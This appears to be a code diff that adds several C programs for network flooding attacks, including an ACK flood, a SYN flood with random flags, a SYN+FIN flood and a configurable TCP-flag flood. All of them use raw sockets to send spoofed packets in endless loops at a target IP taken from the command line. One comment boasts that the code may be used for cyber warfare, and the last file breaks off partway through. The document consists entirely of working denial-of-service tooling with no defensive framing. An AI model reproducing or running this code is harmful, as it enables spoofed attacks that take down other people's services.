#include <sys/ioctl.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <pthread.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <netdb.h>
|
||||
#include <net/if.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#define MAX_PACKET_SIZE 65534
|
||||
#define PHI 0x9e3779b9
|
||||
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
|
||||
|
||||
struct tcp_pseudo
|
||||
{
|
||||
unsigned long src_addr;
|
||||
unsigned long dst_addr;
|
||||
unsigned char zero;
|
||||
unsigned char proto;
|
||||
unsigned short length;
|
||||
} pseudohead;
|
||||
unsigned short total_len = iph->tot_len;
|
||||
pseudohead.src_addr=iph->saddr;
|
||||
pseudohead.dst_addr=iph->daddr;
|
||||
pseudohead.zero=0;
|
||||
pseudohead.proto=IPPROTO_TCP;
|
||||
pseudohead.length=htons(sizeof(struct tcphdr));
|
||||
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
|
||||
unsigned short *tcp = malloc(totaltcp_len);
|
||||
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
|
||||
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
|
||||
unsigned short output = csum(tcp,totaltcp_len);
|
||||
free(tcp);
|
||||
return output;
|
||||
}
|
||||
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = 6;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
|
||||
void setup_tcp_header(struct tcphdr *tcph)
|
||||
{
|
||||
tcph->source = rand();
|
||||
tcph->seq = rand();
|
||||
tcph->ack_seq = rand();
|
||||
tcph->res2 = 0;
|
||||
tcph->doff = 5;
|
||||
tcph->ack = 1;
|
||||
tcph->window = htons(65535);
|
||||
tcph->check = 0;
|
||||
tcph->urg_ptr = 0;
|
||||
}
|
||||
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
|
||||
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = rand();
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
|
||||
tcph->dest = rand();
|
||||
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
tcph->seq = rand_cmwc() & 0xFFFF;
|
||||
tcph->source = htons(rand_cmwc() & 0xFFFF);
|
||||
tcph->check = 0;
|
||||
tcph->check = tcpcsum(iph, tcph);
|
||||
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 5){
|
||||
fprintf(stderr, "Improper ACK flood parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stdout, "Setting up Sockets...\n");
|
||||
|
||||
int num_threads = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[3]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
|
||||
int multiplier = 100;
|
||||
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
fprintf(stdout, "Starting Flood...\n");
|
||||
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,217 @@
|
||||
// Improved SSYN Script - random ports, random flags. by SPAI3N.
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <time.h>
|
||||
#define MAX_PACKET_SIZE 4096
|
||||
#define PHI 0x9e3779b9
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
|
||||
|
||||
struct tcp_pseudo
|
||||
{
|
||||
unsigned long src_addr;
|
||||
unsigned long dst_addr;
|
||||
unsigned char zero;
|
||||
unsigned char proto;
|
||||
unsigned short length;
|
||||
} pseudohead;
|
||||
unsigned short total_len = iph->tot_len;
|
||||
pseudohead.src_addr=iph->saddr;
|
||||
pseudohead.dst_addr=iph->daddr;
|
||||
pseudohead.zero=0;
|
||||
pseudohead.proto=IPPROTO_TCP;
|
||||
pseudohead.length=htons(sizeof(struct tcphdr));
|
||||
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
|
||||
unsigned short *tcp = malloc(totaltcp_len);
|
||||
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
|
||||
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
|
||||
unsigned short output = csum(tcp,totaltcp_len);
|
||||
free(tcp);
|
||||
return output;
|
||||
}
|
||||
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
char ip[17];
|
||||
snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
|
||||
iph->id = htonl(rand()%54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = 6;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr(ip);
|
||||
}
|
||||
|
||||
void setup_tcp_header(struct tcphdr *tcph)
|
||||
{
|
||||
tcph->source = htons(rand()%65535);
|
||||
tcph->seq = rand();
|
||||
tcph->ack_seq = 0;
|
||||
tcph->res1 = 0;
|
||||
tcph->res2 = 0;
|
||||
tcph->doff = 5;
|
||||
tcph->psh = 0;
|
||||
tcph->syn = 1;
|
||||
tcph->window = htons(65535);
|
||||
tcph->check = 0;
|
||||
tcph->urg_ptr = 0;
|
||||
}
|
||||
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
|
||||
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(rand()%54321);
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
tcph->dest = htons(rand()%54321);
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
int psh = 0;
|
||||
int res1 = 0;
|
||||
int res2 = 0;
|
||||
while(1)
|
||||
{
|
||||
if(psh > 1) psh = 1;
|
||||
if(res1 > 4) res1 = 0;
|
||||
if(res2 > 3) res2 = 0;
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
tcph->dest = htons(rand()%65535);
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
tcph->seq = rand_cmwc() & 0xFFFF;
|
||||
tcph->source = htons(rand_cmwc() & 0xFFFF);
|
||||
tcph->ack_seq = 1;
|
||||
tcph->psh = psh;
|
||||
tcph->res1 = res1;
|
||||
tcph->res2 = res2;
|
||||
tcph->check = 0;
|
||||
tcph->check = tcpcsum(iph, tcph);
|
||||
pps++;
|
||||
psh++;
|
||||
res1++;
|
||||
res2++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 5){
|
||||
fprintf(stdout, "ISSYN v1.0 - Improved by Spai3N\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
srand(time(0));
|
||||
int num_threads = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[3]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
int multiplier = 20;
|
||||
int i;
|
||||
fprintf(stderr, "Start flooding ...\n", argv[1]);
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
fprintf(stderr, "Flooding: %s\n", argv[1]);
|
||||
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
/*
|
||||
* This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
|
||||
*/
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <pthread.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <netdb.h>
|
||||
#include <net/if.h>
|
||||
#include <arpa/inet.h>
|
||||
#define MAX_PACKET_SIZE 4096
|
||||
#define PHI 0x9e3779b9
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
static unsigned int floodport;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
|
||||
struct tcp_pseudo
|
||||
{
|
||||
unsigned long src_addr;
|
||||
unsigned long dst_addr;
|
||||
unsigned char zero;
|
||||
unsigned char proto;
|
||||
unsigned short length;
|
||||
} pseudohead;
|
||||
unsigned short total_len = iph->tot_len;
|
||||
pseudohead.src_addr=iph->saddr;
|
||||
pseudohead.dst_addr=iph->daddr;
|
||||
pseudohead.zero=0;
|
||||
pseudohead.proto=IPPROTO_TCP;
|
||||
pseudohead.length=htons(sizeof(struct tcphdr));
|
||||
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
|
||||
unsigned short *tcp = malloc(totaltcp_len);
|
||||
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
|
||||
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
|
||||
unsigned short output = csum(tcp,totaltcp_len);
|
||||
free(tcp);
|
||||
return output;
|
||||
}
|
||||
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = 6;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
|
||||
void setup_tcp_header(struct tcphdr *tcph)
|
||||
{
|
||||
tcph->source = htons(5678);
|
||||
tcph->seq = rand();
|
||||
tcph->ack_seq = rand();
|
||||
tcph->res2 = 0;
|
||||
tcph->doff = 5;
|
||||
tcph->syn = 1;
|
||||
tcph->fin = 1;
|
||||
tcph->window = rand();
|
||||
tcph->check = 0;
|
||||
tcph->urg_ptr = 0;
|
||||
}
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(floodport);
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
tcph->dest = htons(floodport);
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
tcph->seq = rand_cmwc() & 0xFFFF;
|
||||
tcph->source = htons(rand_cmwc() & 0xFFFF);
|
||||
tcph->check = 0;
|
||||
tcph->check = tcpcsum(iph, tcph);
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 6){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
fprintf(stdout, "Setting up Sockets...\n");
|
||||
int num_threads = atoi(argv[3]);
|
||||
floodport = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[4]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
int multiplier = 20;
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
fprintf(stdout, "Starting Flood...\n");
|
||||
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,269 @@
|
||||
/* STCP - AnonnPL, look at TeamSpeakCrack.com */
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <pthread.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <netdb.h>
|
||||
#include <net/if.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#define MAX_PACKET_SIZE 4096
|
||||
#define PHI 0x9e3779b9
|
||||
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
static unsigned int floodport;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
int ack,syn,psh,fin,rst,urg,ptr,res2,seq;
|
||||
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
|
||||
|
||||
struct tcp_pseudo
|
||||
{
|
||||
unsigned long src_addr;
|
||||
unsigned long dst_addr;
|
||||
unsigned char zero;
|
||||
unsigned char proto;
|
||||
unsigned short length;
|
||||
} pseudohead;
|
||||
unsigned short total_len = iph->tot_len;
|
||||
pseudohead.src_addr=iph->saddr;
|
||||
pseudohead.dst_addr=iph->daddr;
|
||||
pseudohead.zero=0;
|
||||
pseudohead.proto=IPPROTO_TCP;
|
||||
pseudohead.length=htons(sizeof(struct tcphdr));
|
||||
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
|
||||
unsigned short *tcp = malloc(totaltcp_len);
|
||||
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
|
||||
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
|
||||
unsigned short output = csum(tcp,totaltcp_len);
|
||||
free(tcp);
|
||||
return output;
|
||||
}
|
||||
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
|
||||
iph->id = htonl(rand()%54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = 6;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("8.8.8.8");
|
||||
}
|
||||
|
||||
void setup_tcp_header(struct tcphdr *tcph)
|
||||
{
|
||||
tcph->source = htons(rand()%65535);
|
||||
tcph->seq = rand();
|
||||
tcph->ack = ack;
|
||||
tcph->ack_seq = seq;
|
||||
tcph->psh = psh;
|
||||
tcph->fin = fin;
|
||||
tcph->rst = rst;
|
||||
tcph->res2 = res2;
|
||||
tcph->doff = 5;
|
||||
tcph->syn = syn;
|
||||
tcph->urg = urg;
|
||||
tcph->urg_ptr = ptr;
|
||||
tcph->window = htonl(65535);
|
||||
tcph->check = 0;
|
||||
}
|
||||
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
|
||||
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(floodport);
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
|
||||
tcph->dest = htons(floodport);
|
||||
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
tcph->seq = rand_cmwc() & 0xFFFF;
|
||||
tcph->source = htons(rand_cmwc() & 0xFFFF);
|
||||
tcph->check = 0;
|
||||
tcph->check = tcpcsum(iph, tcph);
|
||||
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 7){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
